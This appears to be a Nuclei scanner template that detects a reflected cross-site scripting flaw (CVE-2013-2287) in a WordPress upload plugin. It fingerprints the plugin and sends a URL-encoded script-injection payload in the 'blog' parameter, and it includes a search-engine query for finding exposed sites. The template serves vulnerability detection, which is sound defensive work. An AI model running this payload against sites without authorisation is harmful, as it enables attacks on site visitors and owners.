id: CVE-2013-2287

info:
  name: WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting  vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Plugin Uploader or apply a patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-2287
    - https://www.dognaedis.com/vulns/DGS-SEC-16.html
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-2287
    cwe-id: CWE-79
    epss-score: 0.08038
    epss-percentile: 0.92218
    cpe: cpe:2.3:a:roberta_bramski:uploader:1.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "roberta_bramski"
    product: uploader
    google-query: "inurl:\"/wp-content/plugins/uploader\""
  tags: cve,cve2013,wordpress,xss,wp-plugin,roberta_bramski,intrusive,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/uploader/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Uploader'
          - "Tags:"
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402202d1e5ae12ccd8a98d2401637dacddb6c95e28a2dc1b39091b457ad8e93bbcfce022078d1db7298b4b84ccf3c8ff8c10df68b93baf929f4d08971e61f6726071dcea8:922c64590222798bb761d5b6d8e72950